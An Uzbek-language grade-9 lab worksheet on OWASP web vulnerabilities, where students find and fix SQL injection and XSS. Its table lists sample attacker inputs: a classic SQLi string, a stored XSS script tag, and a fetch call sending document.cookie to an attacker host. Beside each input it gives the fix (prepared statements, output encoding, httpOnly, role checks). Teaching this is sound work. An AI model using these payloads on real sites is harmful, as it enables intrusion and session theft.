Til:

Kiberxavfsizlik: Veb Zaifliklari (OWASP Top 10)

Amaliy Laboratoriya Varaqasi · 9-sinf · 5-hafta · 23-dars
Talaba: Sinf:  |  Sana: Baho:      / 10

Laboratoriya Vazifasi: SQLi va XSS Zaifliklarini Yopish

Zaif veb-ilovadagi SQL Injection va XSS zaifliklarini aniqlash, ularni sinab ko'rish va parametrlangan so'rovlar (Prepared Statements) hamda HTML sanitizatsiya orqali butunlay bartaraf etish.

Zaiflik TuriXaker Exploit MatniHimoyalangan Kod / YechimHolat
1. SQL Injection`' OR '1'='1' --``db.query(sql, [username, pass])`✅ Tuzatildi
2. Stored XSS`<script>steal()</script>``textContent` yoki HTML Entity Encoding
3. Cookie Hijacking`fetch(attacker + document.cookie)``httpOnly: true` (JS o'qiy olmaydi)
4. Broken Access`/admin/users (ruxsatsiz)`Middleware da `role === 'admin'` tekshirish

Xavfsizlik Tahlili va Nazariy Savollar

1. Nega oddiy qo'shtirnoq (') belgisi ma'lumotlar bazasi sintaksisini buzadi va Prepared Statements buni qanday hal qiladi?


2. Agar Cookie-da 'httpOnly: true' flagi bo'lsa, xaker XSS orqali sessiya tokenini o'g'irlay oladimi? Tushuntiring.

Baholash Mezoni (10 Ball)

  • SQL Injection zaifligi topilib, Prepared Statements bilan tuzatilgan 3 ball
  • XSS zaifligi bartaraf etilib, textContent va HttpOnly yoqilgan 3 ball
  • TalkTalk insidenti sababi va oqibatlari to'g'ri tahlil qilingan 2 ball
  • Nazariy savollarga to'liq va asosli javob yozilgan 2 ball
  • JAMI 10 ball
O'qituvchi: Musulmonov Mamarajab O'qituvchi imzosi: _______________ Target International School